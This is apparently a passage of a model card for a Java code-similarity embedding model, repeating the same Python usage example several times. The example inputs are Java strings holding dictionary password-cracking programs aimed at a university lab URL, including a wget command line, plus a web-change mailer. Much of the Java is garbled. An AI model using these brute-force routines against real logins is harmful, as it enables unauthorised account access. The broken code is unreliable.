out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT 